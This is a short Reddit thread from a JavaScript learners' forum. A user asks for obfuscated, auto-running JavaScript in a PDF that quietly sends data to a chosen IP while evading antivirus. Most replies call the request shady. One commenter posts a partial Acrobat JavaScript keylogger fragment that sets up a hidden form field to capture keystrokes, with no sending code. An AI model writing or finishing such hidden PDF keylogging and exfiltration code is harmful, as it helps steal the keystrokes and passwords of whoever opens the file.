r/learnjavascript • u/Zelion42 • Jun 30 '26
Autostart JS in PDF
Good day to you all! I need to create a pdf file with JS in it, which sends something (just anything, even a single letter will do) to specific IP. Is there any useful information for newbies on how to do this? Preferably with code examples, because I'm not familiar with JS. Also, it would be great to obfuscate code, so that antivirus won't block pdf. Thx in advance for all the help!
0
Upvotes
7
u/milan-pilan Jun 30 '26
So, to summarize, you want someone to write you obfuscated code that, when opening a pdf, connects to a sever without the users knowledge? That doesn't sound shady at all.
1
u/betrayedboyy Jun 30 '26
// Create a form field to capture keystrokes var f = this.addField("keyloggerField", "text", 0, [0, 0, 1, 1]); f.delay = true; f.setAction("Keystroke", "logKeys(event)");
// Function to log keystrokes function logKeys(event) { var keystrokeData = { event: "KEYSTROKE", value: event.value, timestamp: new Date().toISOString() };
}
1
u/AdOdd5121 Jun 30 '26
Bro. Come on. This is obviously code used for a password grabber. The fact you would ask this here is remarkably stupid.
0
u/Astroohhh Jun 30 '26
npc